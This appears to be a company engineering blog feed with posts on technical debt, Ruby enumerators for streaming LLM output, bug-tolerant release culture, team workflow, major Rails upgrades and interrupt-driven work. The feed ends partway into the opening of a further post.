Aha! Engineering Blog

The grinch was right

Chris Zempel — Wed, 25 Dec 2030 00:00:00 GMT

In the classic holiday story, the Grinch is often seen as the villain, a character who initially stands against the joy and celebration of the Whoville community. However, when we look closer, the Grinch presents an interesting parallel to a concept familiar to many in the engineering world: managing technical debt. Just as the Grinch initially resists the holiday spirit, engineering teams often resist tackling technical debt, which can accumulate silently and impact the health of a project.

The Accumulation of Technical Debt: A Silent Crisis

Technical debt, much like the Grinch's disdain for Christmas, often starts small. It's the shortcuts we take to meet a deadline, the legacy code we leave untouched, the "temporary" fixes that become permanent. Over time, this debt builds up, creating a larger, more intimidating problem. It lurks beneath the surface, often unnoticed until it becomes too big to ignore.

Recognizing the Grinch Within

The first step in managing technical debt is recognizing its existence. Like the Grinch peering down from his cave, we must look at our projects with a critical eye. This means conducting regular code reviews, soliciting feedback, and being honest about the state of our codebase. It's about acknowledging that while technical debt is a normal part of development, it needs to be managed and addressed.

The Transformation: Tackling Technical Debt

The heart of the Grinch grew three sizes when he understood the true spirit of Christmas. Similarly, the heart of our project grows healthier as we tackle technical debt. This doesn't mean a complete overhaul in one go – that's unrealistic. Instead, we can start small:

Refactoring: Gradually improve code quality without altering external behavior.
Documentation: Ensure that existing code is well-documented for future maintainers.
Automated Testing: Implementing robust testing can prevent future debt.
Continuous Integration/Continuous Deployment (CI/CD): Streamline and automate your deployment process to catch issues early.

Embracing the Lessons of the Grinch

The Grinch taught us that change, though difficult, is possible and often necessary. Embracing our inner Grinch means accepting that tackling technical debt is not just a technical challenge, but a cultural one. It requires a shift in mindset from the entire team to prioritize long-term health over short-term gains.

Conclusion: A Happier, Healthier Codebase

Just as the Grinch found joy in joining the Whoville community, engineering teams can find satisfaction in addressing technical debt. By doing so, we not only improve our codebase but also enhance our team's morale and productivity. The Grinch was right in more ways than one – sometimes, it takes a change of heart to truly see the beauty in what we're building.

Let's not shy away from our inner Grinch. Instead, let's learn from him and use those lessons to manage our technical debt effectively, ensuring the long-term success and health of our projects.

Make streaming APIs easy with enumerable methods

Justin Weiss — Fri, 20 Dec 2024 00:00:00 GMT

When you first discover Ruby on Rails, some things might strike you right away: namely the large number of enumerable methods and the blocks to run code in the middle of another method. Those features helped me translate my thoughts directly into code — and quickly made Ruby my favorite programming language.

Enumerables are great. You can use them to map, filter, reduce, and easily transform your data. Any method that returns an enumerable collection gives you that power without needing much work.

A method that yields values to a block can do more powerful things, but makes transformation harder. Any processing you want to do goes into the block, which doesn't feel as natural as chaining enumerable methods together. You have to think inside out (or even thread a block through multiple methods) before you get to the code that uses it.

An LLM example

Many large language model APIs, like the OpenAI chat API, can stream text back to you as it's generated. This is nice! You don't have to wait multiple seconds (or longer!) for a full response — you get feedback immediately. In most Ruby clients to these APIs, bits of text are yielded back to you one by one using a block.

To share a simple example, maybe you want to wrap each token in some metadata about the request that the front end can use:

llm_response do |text|
  response = { request_id: params[:llm_request_id], text: text }
  send_response_to_frontend(response)
end

But why does wrapping the response have to be done in the same place as sending the response? If llm_response just returned a list, you could have some code that did the wrapping with map and some other code that sent the response bit by bit. Why does this have to be different?

If you want to treat these values as a list, using Ruby means it's flexible. You should be able to do that! And Ruby has a few extremely useful methods that easily convert a block-type method to a list-type method.

The first is enum_for. If I have a method that takes a block and yields values as they arrive:

def llm_response(prompt)
  api.call_model(prompt) do |message|
    yield message # Send the message back to the caller
  end
end

The caller can use Object#enum_for to translate it into something resembling a list instead:

def llm_response(prompt)
  api.enum_for(:call_model, prompt)
end

From the documentation:

"Creates a new Enumerator which will enumerate by calling method on obj, passing args if any. What was yielded by method becomes values of enumerator."

In this example, it creates an enumerator. That enumerator will get each value by calling api.call_model(prompt). Every value yielded by call_model will become the enumerator's values. If the model yields ["He", "l", "lo"], those will be the enumerator's values, the values each sees, and so on.

You can now pass it to anything that expects an enumerator, and it will work just like a list of values:

response = llm_response(prompt)

# later...

process_response(response)
# or
response.map { ... }
# etc...

Why not make it automatic?

There's a trick you can use to make things even easier for your callers. You might see it if you poke around the Ruby standard library.

If you have a method that takes a block but could act like a list, you could add this as the first line:

return to_enum(__method__, <first arg>, <second arg>, <etc...>) unless block_given?

This will still allow callers to pass a block if they want. If they don't pass a block, it will return an enum (like in the second example above). This makes the difference between a block-type method and a list-type method almost nonexistent.

How does this work? to_enum is just another name for enum_for. And __method__ returns a symbol that contains the current method's name:

def llm_response(prompt)
  return to_enum(__method__, prompt) unless block_given?

  api.call_model(prompt) do |message|
    yield message # Send the message back to the caller
  end
end

response = llm_response(...) { ... }

For this example, if you don't pass a block, it's as if you wrote this:

response = to_enum(:llm_response, prompt)

And any time you ask response for a new value, it will return the next value yielded by llm_response. response now acts like a list whose values are each item llm_response would have yielded to a block.

Using lazy to avoid the wait

Once you start to work with those list elements, you might find a problem. If you call something like map on one of these:

response.map { |m| process_message(m) }

You still have to wait until the entire response is done before you can do anything else, as the map needs each element from the response. If you have to wait until the full response, there's no benefit in having a streaming API! So we've hit a dead end and have to go back to using a block, right? Not quite.

Ruby has a method, Enumerator#lazy, that you can add to your enumerable. With lazy, values will process one by one as needed instead of all at the same time. You can continue to chain transformations onto these responses as if it were an array, and you can pull values off it only when you actually use them.

response.lazy.map { |m| process_message(m) }.each { |m| send_message(m) }

Finally, you can rewrite the original example so it doesn't matter whether llm_response returns a list or yields to a block. The same code works:

response = llm_response(prompt)

# later...
response = response.lazy.map { |text| { request_id: params[:llm_request_id], text: text } }

# even later...
response.each { |chunk| send_response_to_frontend(chunk) }

Give enumerable methods a try

Enumerable methods provide such a powerful way to process and transform your data in Ruby — but you can't always get an enumerable when you want one.

If you find yourself passing blocks through several layers of methods, having to think inside out, or wanting consistent code (whether your data is streamed over time or returned all at once), try enum_for or to_enum. It could make your APIs cleaner and your programming life easier.

Want to give enumerable methods a shot with us? Here are some open roles.

We love bugs (and you should, too!)

Justin Paulson — Thu, 14 Nov 2024 00:00:00 GMT

OK, maybe "love" is a bit strong. But the Aha! engineering team has a shocking confession: We embrace bugs in our software. Our CTO, Dr. Chris Waters, often says, "If your feature ships without any bugs, you waited too long to ship it."

Having worked at software organizations of all sizes, many engineers on our team find this approach refreshingly unique. We don't view bugs as productivity-killing backlog items. Instead, we see them as a natural byproduct of focusing on what truly matters: delivering value quickly.

Although we certainly don't want our customers to experience bugs, we recognize them as opportunities. Each support escalation becomes another chance to interact with our users, understand their needs, and ultimately, deliver a lovable Complete Product Experience.

Now, you might be wondering how we manage to maintain this seemingly counterintuitive approach while still keeping our customers happy. We'll dive into more reasoning behind our bug-welcoming culture next. But we'll also explore the unconventional strategies that make our bug-handling process not just effective, but transformative for our product and user relationships.

What is a bug?

Our approach to shipping code might sound bold, so it's important to clarify what we mean by "bugs." We strictly adhere to ISO 27001 security standards and enforce rigorous processes around data integrity and customer security. Any code change that compromises customer data security wouldn't simply be a bug. It would be classified as an incident, triggering a specific response protocol in turn. Our structured security review process thoroughly assesses each code change to ensure customer data remains safe and confidential every time we deploy. Security concerns are always handled proactively before the code is merged into the main application.

With this in mind, the bugs we're discussing here are related to functionality gaps stemming from undefined expectations within feature-rich environments. Our product's customization capabilities allow for diverse use cases. And even though we plan for and test the most common scenarios, there might be rare, complex cases we didn't anticipate during development. These cases might produce unexpected results, which we classify as bugs. Fortunately, exceptions are rare thanks to extensive testing and planning, and even less-common paths generally perform as expected.

The audacious claims

At first glance, our approach to bugs and product releases might sound unconventional, and maybe even a little reckless. But each of these strategies is intentional — grounded in our commitment to deliver quickly, address actual user needs, and improve constantly. Here are a few of our guiding principles:

We promote rapid releases and encourage the fastest possible delivery.
We focus on delivering 99% of the value rather than chasing the final 1%.
We see support escalations as prime opportunities for meaningful user engagement.
We keep a lean bug backlog (currently just 17).

These practices might seem counterintuitive, but stick with us. We'll show you how this approach has not only been effective for our development process, but has also strengthened our relationships with customers and improved the product.

Embracing imperfection

First, we don't aim for perfection. We aim for progress. Bugs will inevitably occur when dozens of engineers create complex solutions. As you work to create perfect solutions to every possible scenario in your code, the value of the task diminishes. The time it takes to reach that perfection adds to the time your customers have to wait for the functionality. Moreover, accounting upfront for every unlikely, but theoretically possible bug scenario compounds complexity across the board. The trade-offs of longer CI pipelines, increasingly complex test setups, and manual QA requirements slow us down, taking time away from direct value creation.

Instead, we're pragmatic: If you wait until your software is bug-free, you've waited too long. By focusing on getting functional changes out to the majority of our users quickly, we ensure that we're constantly improving and evolving our product.

The 99/1 rule

At Aha!, we've embraced what we call the "99/1 rule" in our development process. This principle isn't about ignoring the minority — it's about maximizing impact and efficiency. We prioritize features and fixes that benefit 99% of our users over edge cases that might affect only 1%.

Our approach is straightforward: We focus on the primary benefit of each feature and strive to deliver that value as quickly as possible. Once we've achieved the core functionality, we address our known use cases. However, we consciously steer clear of deep dives into hypothetical "what-if" scenarios about how a user might interact with a feature. These speculative discussions often lead to diminishing returns and delayed releases.

But what about that 1% we've set aside? Rest assured that we don't ignore them. Instead, we address their needs as they arise through our responsive support system. Our approach allows us to understand the real-world impact of these edge cases and prioritize fixes based on actual user experiences rather than hypothetical scenarios. Plus, getting feedback about bugs validates that the features we built are used and appreciated despite their imperfections.

By adhering to the 99/1 rule, we maintain our agility, keep our development cycles short, and ensure our product evolves continuously to meet the needs of our user base as a whole. It's a crucial element of our strategy to deliver maximum value in minimum time. This allows us to stay responsive to our users' most pressing needs while continuously improving our product.

Responsive support

A system like ours requires exceptionally responsive support to meet customer needs. This is where our secret weapon comes into play: our lightning-fast response to users' issues. We've implemented a support rotation that all our engineers take part in. When a customer reports an issue, we are able to take action immediately. There's no waiting, no lengthy backlog — just swift, decisive action to resolve the problem (and fix the bug if one exists). The Responsive Method is central to our engineering culture, shaping how we support both our customers and one another.

User interaction: Turning bugs into bonding

Our approach to handling bugs goes beyond mere problem-solving. We see it as an opportunity to forge stronger connections with our users. When someone reports a bug, it is not sent to a backlog and prioritized later to be handled by an engineer who has no context on the issue. Instead, we engage directly with the users who reported the issue. Doing so creates a personal connection that goes beyond the typical support interaction and helps provide useful context that the engineering team can use to improve the product. By doing this, we create more comprehensive solutions that address both the immediate issue and potential concerns in the future.

We also use these moments as opportunities to educate users. By taking the time to explain what caused the bug and how we will fix it, we help our users understand the product better. This transparency not only builds trust, but also empowers people to use our product more effectively.

Moreover, these support escalations become springboards for broader conversations. We gather feedback about the overall user experience, which provides invaluable insights for our product development. By being open about issues and involving users in the resolution process, we cultivate trust and loyalty that goes far beyond the immediate bug fix.

That low backlog of 17 bugs

Remember that low bug backlog we mentioned earlier? We do, in fact, maintain a backlog of only about 20 bugs at any given time. This isn't because we avoid encountering bugs — our focus on rapid release means we expect them. We might resolve over 100 issues in a typical month, but our approach is to address bugs so promptly that they don't have time to accumulate.

Our lean backlog reflects this responsive strategy. We don't push bugs into the next quarter or even the next sprint; we handle them quickly, keeping the backlog manageable and our customers satisfied. The agility comes from balancing rapid feature releases with efficient bug resolution.

During regular development cycles, our engineers focus on shipping new features. Then, during dedicated support rotations, they shift to addressing user-reported issues. Our dual-focus approach ensures we continuously improve our product while keeping it stable and reliable.

So even though we're not aiming to ship bug-free software (if we were, we'd be shipping too slowly), we've built a system where bugs are resolved almost as quickly as they're identified. It's this balance of speed, responsiveness, and continuous improvement that keeps our backlog lean and our users happy.

Why a lean backlog works

By swiftly addressing issues, we keep our customers engaged and connected to the product. This feedback loop continually refines our features based on real needs rather than assumptions. A lean bug backlog allows engineers to focus on rapid innovation without being overwhelmed by minor fixes. Bug reports become opportunities for improvement, creating a user-centered development process that keeps us in tune with evolving needs.

The takeaway

By prioritizing rapid delivery, being responsive to issues, and viewing bugs as chances to connect with users, we've created a system that fosters innovation while maintaining strong customer satisfaction. Rather than aiming for perfection, we focus on quick resolutions and ongoing improvement, allowing us to strengthen our relationship with users at every interaction.

Remember: Perfection is the enemy of progress. Don't be afraid to ship with a few rough edges — just make sure you're ready to smooth them out quickly when your customers notice them. Likewise, use every interaction as an opportunity to strengthen relationships with your users.

So, are you ready to love bugs as much as we do? Check out our open roles.

Transparency, autonomy, responsiveness, and education: How the Aha! engineering team works

Phil Wilt — Mon, 28 Oct 2024 00:00:00 GMT

Organizations have many different ways to approach how teammates write code. You have individual silos, pair programming, team-based work, and black box interfaces where you have no idea how the other team is structured.

We use a mix of these approaches at Aha! rather than sticking to one methodology. The Responsive Method (TRM) — the framework our co-founders created that guides individual and business success — helps us decide what actions to take in the moment. In general, a single engineer will work on their feature. They will present that work to their smaller team and the full engineering team during weekly meetings. We engage very deeply and make it enjoyable to present. And in that way, knowledge bubbles up to the entire engineering team. That engineer then owns their code for its lifespan and becomes a code champion who educates our team (and possibly presents to the larger community).

Segmenting engineering teams and assigning features

In engineering, we split into small agile teams aligned with different parts of the application. It's pretty easy to see how these teams are structured based on our product offerings (Aha! Roadmaps, Aha! Ideas, Aha! Whiteboards, Aha! Knowledge, and Aha! Develop) along with our infrastructure and security.

For larger offerings such as Aha! Roadmaps, we have several teams. We also have a rotating support team that uses members of each group, which means you see all parts of the application while on that rotation. But in general, each team is an expert in its particular product.

Our products delineate the way we assign features. Our product managers use The Aha! Framework to do the Sisyphean task of prioritizing our features backlog, and those features go into our team queues in turn. From there, we have a weekly meeting with our team's product manager, designers, and engineers. We discuss what's coming down the pipeline and gauge engineering's interest. Some projects might be an extreme draw for one engineer, whereas others might just get assigned to whoever is free.

Project scope is a concern that is addressed during the research phase by the engineering anchor. That person will spend time understanding the feature's breadth and depth. During that time, they determine whether pieces can be parallelized as well. They might create individual features for pieces of the project to assign out to multiple engineers, or just set them as milestones for a single engineer. That work is then assigned to the person (or people) developing the feature.

Giving engineers creative freedom

Aha! engineers enjoy considerable autonomy when starting new projects, with the freedom to make key design decisions. This process typically begins with an engineer developing an initial structure, which they then present to the team for feedback. Given the complexity of our application, this early input is crucial, as even small changes can have far-reaching effects. We prioritize getting code into production quickly, using feature flags to allow product managers and designers to iterate alongside engineers. And weekly team demos keep everyone up to date on progress.

For larger features, we employ a "pull request buddy" system where a dedicated reviewer is assigned early on. This approach facilitates incremental reviews of small pull requests into a feature branch, preventing surprise large-scale changes and keeping the entire engineering team informed about ongoing work. This combination of individual creativity and collaborative refinement ensures we maintain both innovation and quality during our development process.

Circling back to TRM: Our framework for success

Again, we practice something called TRM while working on code. This framework for success isn't just aimed at customer interactions — it's also something we practice internally. Part of it involves being interrupt-driven. (Put simply, this means we view interruptions to our work as useful rather than distracting. We try to address these interruptions immediately, when everyone's focus on the issue is strongest.)

Even though many engineers think that might be a distraction, it becomes a strength at Aha! New hires often comment on how amazingly responsive other engineers are. It's very difficult to get stuck, as someone is always there to be a rubber duck, answer a question about part of the application, or help address a support ticket. The prevailing thought is that engineers are more productive when they have large blocks of work time. But productivity actually increases when teams can unblock things quickly.

How a feature comes to be

Once product management assigns a feature, it goes into the code process. We typically have a code champion look at the feature, comment on its scope, and give a rough estimate of time to completion (more on this concept later). From there, we have our engineering anchor take over — who might or might not be the code champion — and that person figures out the estimate and breaks it up into its individual requirements. Those requirements then go to a single engineer or multiple engineers. They present the ongoing work in team meetings to make sure it matches the definition. That's the time to find out from either other engineers or from product managers or designers whether the requirements need to change. And once everything is done, we start the process of getting the feature into production.

At this stage, we follow a few steps to make sure things go smoothly. We first have two pull request reviewers from the team look over the code and approve it, as well as a security team that reviews all code thoroughly. Any migrations will also have their own reviewer to make sure we don't run into unexpected database performance issues. Then, the individual will merge their own pull request into the main branch.

Everything is now ready to deploy. We do this several times a day, so code is always going out quickly. We have a rotating deployer who happens to be the lead on the support team that week. This way, they can deploy quick fixes in response to customer issues along with new work. Once the code is in production, it is on the engineer to watch for alerts and any support tickets coming in. The engineer is also responsible for answering questions about the running code if another engineer or customer runs into an issue.

Helping code champions showcase their expertise

That leads us to the concept of a "code champion," which we referenced earlier. Our code champions own pieces of the product and are experts in that realm. They present their knowledge to the team during our weekly code presentation meeting, and possibly to the entire company. And if their learnings are sufficiently interesting to the greater engineering community, they will go to a conference and present them.

Here are just a few talks led by teammates:

A deep dive into sessions by Justin Weiss
Building a collaborative text editor by Justin Weiss (this author was lucky enough to work on this project as well)
Off to the races by Kyle d'Oliveira
Testing legacy code when you dislike tests (and legacy code) by Maeve Revels

That's how we work at Aha! We have transparency into projects and, for the most part, choose what we work on. We have great autonomy in implementation and logistics. Help is always a Slack message away due to TRM. We also make sure to educate both our engineers internally and the engineering community externally.

Does this creative autonomy and responsiveness sound appealing? We're happy and hiring engineers — join us.

How we upgrade major Rails versions

Wed, 18 Sep 2024 00:00:00 GMT

As a company whose product is built on top of Ruby on Rails, conducting a major version upgrade of the underlying framework is just about the biggest upkeep item we regularly undertake. The whole process takes months — with multiple cycles of development work, rounds of automated and manual testing, and a phased rollout process. Here's how we do it.

Gemfile.next

The core idea behind the way we upgrade Rails revolves around making the application compatible with both the current version and the next version simultaneously. Doing so means that during the upgrade process we're able to boot the application with these versions allowing tests to run against both. This makes it much easier to find regressions by toggling a switch that determines which version to run.

This is done by having a Gemfile.next in addition to our current Gemfile. Gemfile.next is simply a symbolic link to the current Gemfile:

$ ls -l Gemfile.next
lrwxrwxrwx shane shane 7 B Fri May  7 12:26:50 2021 Gemfile.next ⇒ Gemfile

Then, at the top of the Gemfile is a short function definition:

def next?
  File.basename(__FILE__) == "Gemfile.next"
end

This allows us to put conditionals in the Gemfile for which version of Rails to use (and any other gems), as such:

gem 'rails', (next? ? '7.1.3.4' : '7.0.8.4')

Finally, we have a wrapper script: bin/next. When prefixed with a given Rails command (such as bin/next rails console), bin/next will start the app with the "next" version of the gems in the Gemfile.

#!/bin/bash

# Use this file to run the app with the next version of Rails
#
# Usage:
#   bin/next bundle install
#   bin/next rails ...

export BUNDLE_GEMFILE=Gemfile.next
export BUNDLE_CACHE_PATH=vendor/cache.next
export BUNDLE_BIN=false
export NEXT=1

if [[ "${@}" =~ ^bundle ]]; then
  $@
else
  bundle exec $@
fi

Using this concept, we're able to easily switch between a Gemfile using the current set of gems and the "next" gems for everything, including local development and running test suites.

Our upgrade process

Update the Gemfile. This includes the following tasks:

Copy Gemfile.lock to Gemfile.next.lock to start fresh from the current set of gem versions.
Set the new Rails gem version in the Gemfile.
Work through the necessary gem version upgrades to get a bundle that resolves all dependencies successfully.

Review the changes in the Rails upgrade guide.

Reviewing the Rails release notes early on is critical to avoid missing subtleties that might cause major problems later on during a deployment. Plus, it is easier to upgrade the application when you have a better idea of what the changes are.
We also make use of the rails app:update task, but we prefer to do this manually for the sake of having more control over that process.

Fix all tests and make any needed changes compatible with both versions of Rails.

Of course, this step is the bulk of the work. Depending on the size of the test suite and complexity of the application, this part of the process can take weeks or months.

Go through a round of manual testing with our Customer Success team.
Deploy the work.

First, we do a small rollout to a subset of customers.
We then do the final switchover by promoting Gemfile.next.lock to Gemfile.lock.

Yeah — that's a lot. So let's break down the bigger steps.

Maintaining compatibility

Once we have a bundle for the next Rails version, the first step is to get the application booting with it and ensure tests pass with both versions.

Patches

Similar to many large Rails applications, we have our fair share of patches to core and third-party Rails gems. For example, we have a patch to Rails' Rack logger to log the full URL of a request (rather than just the path):

if Rails.version >= '7.2'
  raise "Ensure patched methods below have not changed in Rails #{Rails.version}"
end

class Rails::Rack::Logger
  # https://github.com/rails/rails/blob/v7.1.3.4/railties/lib/rails/rack/logger.rb#L54
  def started_request_message(request)
    format(
      'Started %s "%s%s%s" for %s at %s',
      request.request_method,
      request.protocol,
      request.host_with_port,
      request.filtered_path,
      request.ip,
      Time.zone.now.to_s
    )
  end
end

Of note here is the Rails.version, which is conditional at the top of the patch. When the next engineer tasked with upgrading Rails attempts to boot the application, an exception will require her to check the source of the patched method and ensure it has not changed in the new Rails version. She will then bump the conditional for the future Rails upgrade.

This approach ensures that we don't miss updating any patches that might silently fail if the class they are patching has changed, resulting in the code not being called. There should ideally be tests for this patched behavior as well. But depending on how the test is written, it's possible for these to provide a false positive result if the patched class changed in the right way. We find that having a loud exception forcing an engineer to check patches during Rails upgrades is the more surefire way to verify they are still up to date.

Application code

With the application booting, the mammoth task of fixing all the broken tests begins. bin/next rails test or bin/next rspec (depending on the test suite) makes it easy to run individual tests against the two versions of Rails and cross-reference if something goes awry.

Ideally, a fix can be made that will be compatible with both versions of Rails. But in many cases, it's necessary to leave a if Rails.version >= 'X.Y' conditional in the code. This will need to be cleaned up after the final deployment, but it allows the application to eventually become compatible with both versions as we work through fixing all the tests.

Cache keys

Another small tip is to ensure cache keys will be invalidated between Rails versions. Simply adding the Rails version to the cache key can prevent a whole category of difficult-to-debug issues when stale data applicable only to an old Rails version is used in a newer, incompatible version upon production deployment. For example:

Rails.cache.fetch("some-key-#{Rails.version}") do
  [business logic]
end

Running the test suite

The next challenge is running the test suite against both versions on the CI platform. There are a few considerations here:

Running the test suite for the engineer(s) working on the upgrade directly to monitor progress toward a 100% test pass rate
Once 100% of tests pass, running the test suite for other team members to ensure their ongoing work isn't creating regressions
Minimizing the cost impact of doubling the resources to run the test suite over a potentially long period of time

We must first configure our CI pipeline to run all steps with a configurable command prefix. We will then enable a separate set of jobs to run everything with this environment variable set to either bin/next or an empty string for the current bundle.

The next configuration is to not fail the pipeline if these tests fail while they are still being fixed. We have a $RSPEC_NEXT_REQUIRED variable to control the reporting of the RSpec exit code. Initially, this is set to 0 to prevent the pipeline from being blocked. But once the tests all pass, we flip it to 1. This transfers the burden of ensuring a passing test suite onto the whole team if any of its ongoing work introduces a failing test in the next Rails version. The setup looks like this:

${CI_BUNDLE_PREFIX} rspec [...]
rspec_status=$?

if [ "$CI_BUNDLE_PREFIX" = "bin/next" ] && [ "$RSPEC_NEXT_REQUIRED" = "0" ]; then
  echo "Ignoring rspec exit code ${rspec_status} for bundle/next"
  exit 0
fi

exit $rspec_status

Depending on the size of the test suite and the length of the upgrade process, it's also worth considering the additional resources and costs incurred from duplicating the test suite like this. We set up our configuration in a way that saves on costs: As long the $RSPEC_NEXT_REQUIRED variable is set to false, we have an additional branch filter that will only run the next jobs if the branch name matches a pattern such as /.*rails-next.*/. We then remove this branch filter when we're ready to start running the tests on all branches closer to deployment.

Ensuring consistent Gemfiles

Another challenge that we run into is ensuring gems in the current Gemfile — which are updated during the deployment process — are also reflected in the next Gemfile. Because the intention is for the next Gemfile to have at least some different gem versions by nature of the upgrade, this can be difficult. There's no way to know which gems should be different and which should be consistent. Fortunately (in our case at least), our third-party dependencies do not change that frequently. So this is a small problem, but one we must still pay attention to.

The first line of defense here is to continually remind other team members to reflect any changes to the current Gemfile within the next Gemfile. However, it's only natural for people to forget about this sometimes. To combat this in the most frequent gems that we update, we have the following script in our CI steps:

function git_gem_revision {
  # This searches through the given Gemfile.lock for a `GIT` block for the given gem and extracts its revision line
  awk -v GEM="$1" '
    $1 == "GIT" { git_gem = 1 }
    $1 == "GEM" { git_gem = 0 }
    git_gem && $1 == "remote:" && $2 ~ GEM".git$" { found_gem = 1 }
    found_gem && $1 == "revision:" { print $2; exit }
  ' "$2"
}

GEMS=("aha-services" "calculated_attributes")

for GEM in "${GEMS[@]}"; do
  if [ "`git_gem_revision "$GEM" "Gemfile.lock"`" != "`git_gem_revision "$GEM" "Gemfile.next.lock"`" ]; then
    echo "$GEM revision in Gemfile.lock does not match revision in Gemfile.next.lock. Ensure these are consistent to avoid mismatching gem versions during Rails upgrades by running \"bin/next bundle update $GEM --conservative\""
    exit 1
  fi
done

Because our CI setup only has one set of gems installed for a specific step (either current or next), we must parse the Gemfile.lock manually to get the revision for a given gem (rather than relying on bundle to gem to tell us what is installed, as it won't know!). In the cases above, we're only concerned with our first-party gems that are installed via Git. But this same method could be extended to gems from RubyGems as well. If an inconsistency is found between the versions in each Gemfile, the build will fail. This forces the engineer to ensure the versions are consistent.

As a last check, we will run bundle list and bin/next bundle list before the first production deployment and do a manual review to verify that the gem versions in the next bundle are the same versions or more recent. If anything got left behind, this is a good time to update it so nothing moves backward during the transition.

Manual testing

All tests pass at this point. Due to the large nature of a major Rails upgrade, we also involve our Customer Success team in a round of manual testing of all application functionality in a staging environment. Assuming a comprehensive test suite, this should hopefully undercover few to no legitimate issues — but it is still a valuable method for catching any gaps in the test suite which should be covered regardless. Manual testing is a slow, expensive, and time-consuming process, though. So it is sometimes understandable to skip or limit this when there is also high confidence in the test suite.

Deployment

With all the testing complete, it's finally time to deploy the upgrade. We do this in two stages:

An initial rollout limited to a subset of customers that is done outside of busy business hours and can be quickly rolled back if necessary
A final rollout to all customers with Gemfile.next.lock promoted to Gemfile.lock

For the initial rollout, we have a second wrapper script for the bin/next script called bin/conditional_next. This script uses an environment variable, $NEXT, to control whether to run a command with bin/next or not. By setting this $NEXT variable to "true" on a subset of servers/containers, we can do an initial phased rollout with the next Gemfile. This also allows deployments of other unrelated changes to continue as normal.

#!/bin/bash

if [ "${NEXT:-0}" == "1" ]; then
  echo "Running command with bin/next"
  bin/next $@
else
  $@
fi

Getting the next Rails version into production will likely reveal any outstanding missed issues quickly. Realistically, going through this process means potentially rolling back to the existing Rails version at least once (or twice … or three times). There are many moving parts here, and even all the testing in the world won't illuminate every problem prior to the first production deploy. Even if things look stable after this deployment, we like to leave this initial rollout running for a few hours or days before doing it more widely.

Once everything looks quiet and any remediation fixes have been merged, it's time to do the final merge and deploy. We do this with a simple cp Gemfile.next.lock Gemfile.lock to promote the next Gemfile to the main Gemfile. And with that, one more normal deployment will roll out the Rails upgrade to all production traffic. Everything will be smooth sailing given a sprinkle of good luck.

We are bootstrapped, profitable, fully remote, and hiring. Join our team.

Interrupt-driven engineering: Working on what matters at Aha!

Greg Brown — Wed, 21 Aug 2024 00:00:00 GMT

On the Aha! team, The Responsive Method (TRM) guides our interactions with customers and one another. Responding to requests quickly and thoughtfully maximizes the value we provide to customers and is a key pillar of our success.

Part of this responsiveness involves what we call being "interrupt-driven": treating interruptions as a useful stream of information rather than an unwelcome distraction — and embracing the chance to help others when their attention is on the problem at hand.

Narrow focus vs. wider impact

Some engineers are suspicious of the interrupt-driven principle at first. We're on the maker's schedule, and we need unbroken focus time! Being expected to respond immediately to interruptions sounds like a recipe for a scattered mind and shallow impact. And after all, isn't the job of a good manager to shield their engineers from distraction?

The problem with this is that no one can do their best, most impactful work by blocking out the outside world.

Code and other technical work are only as valuable as the problems they solve, and the worst way we can use our time is by building the perfect solution to a problem nobody has. So it follows that we must pay attention. The best engineers embrace this truth.

It's not just engineers who do deep work

Managers also need time for deep work. The most effective engineering managers don't spend all their time shielding their teams from external requests, batting away the unimportant and bundling the critical items up for the weekly meeting. Instead, they take a bigger-picture view of the work and people involved, have a broader understanding of the technical domain, and spend plenty of time deeply focused on their own work.

Ensuring collective gain

Everyone on the team has their own areas of expertise. Sometimes, a few minutes' worth of insight can save hours for a less experienced engineer or days of frustration for a customer. Does that sometimes come at a cost to the engineer's focus on their own work? Of course. But the cost varies, and so does the benefit. So being interrupt-driven is absolutely the right approach when the collective gain outweighs the personal cost — and it frequently does!

How does being interrupt-driven work in practice?

Just like product managers, engineers need to think carefully about how to manage the stream of interruptions and tackle tasks that arise. So what does interrupt-driven engineering at Aha! look like?

1. Sharing the load

Because we recognize the cost of context-switching, Aha! operates an engineering support rotation. Each engineer, regardless of role, spends a week every couple of months responding to escalated tickets and fixing bugs. This frees up the rest of the team for deeper focus.

2. Maximizing our impact

Principal engineer Justin Weiss, who led development of our real-time text editor, says this of the editor's code:

Because I was the one who knew it best, people would regularly come to me for questions about the editor. I'd frequently jump on calls (some quick and some spanning hours) to help share enough of the foundation so we could arrive at the solution together.

Not every engineer has led a project like this, but every engineer spends much of their time working on features. So being interrupt-driven offers opportunities to help others who are less familiar with a specific area.

3. Understanding true urgency

Distinguishing the urgent from the important is a critical skill to develop. For example, a colleague might ask for a review of the large pull request they've been working on for several days. This is important work, but it'll take time to address properly. Besides this, they probably don't need it reviewed right now — so it's fine to let them know you'll finish your current task and look at it later. On the other hand, a pull request that addresses a production bug should usually be reviewed straight away.

It's worth noting here that the common advice to turn off notifications optimizes your own productivity at the expense of the wider team's. Working this way takes more discipline than just blocking out the noise. But after all, meaningful work is rarely easy.

4. Focusing on customers (and teammates, by extension)

Staying aware of customer requests is a great way to help not only customers, but also teammates. A support escalation might relate to something you fixed recently, for instance. Another engineer could spend hours tracking down the root cause. But you know exactly where it is, so you can save time and frustration by simply assigning it to yourself.

5. Knowing when to say 'no'

Being responsive is different from being reactive. It means responding thoughtfully, but not agreeing to every request. Imagine that a customer wants a feature addition to support their specific workflow. After consulting a product manager, you respond by explaining why we don't plan to make the change, but suggest a workaround or alternative approach.

Why it matters

You'll notice a common thread here. Not everything is addressed straight away, but every request gets a prompt response. Requesters aren't left wondering, and we always choose to spend our time in a way that maximizes value. That sometimes means switching tasks, but only if the trade-off is worth it. Additionally, this should be of the engineer's own volition — never dictated by shifting priorities outside of their control.

This means every person on the other side of the equation has a good experience. They either have their immediate needs met or gain clarity on when they can expect help. And in every case, we strive to maximize the overall value to the organization, which is a great way to build a successful, lasting business.

Engineers (like everyone at Aha!) are encouraged to tune in to the stream of interruptions, honing the skill of picking out those where their unique skills and experience can make the biggest difference. This doesn't mean we spend all day watching Slack or that we don't have time to focus deeply on our work. It does mean we take an empathetic, pragmatic approach to choosing what we do with our time: one that maximizes our value and impact and contributes to lasting company and personal success.

Does this resonate? Join us.

If you're the sort of engineer who cares about the bigger picture, helping others, and doing high-impact work, you should consider joining us. In a time when the tech world is as volatile as ever, we're still happy, healthy, and hiring. Check out our open roles.

The most important system to keep running

Alex Bartlow — Fri, 24 May 2024 00:00:00 GMT

I heard a ring, and my heart rate spiked to 132. It was Tom Bailey, a colleague on the Product Success team.

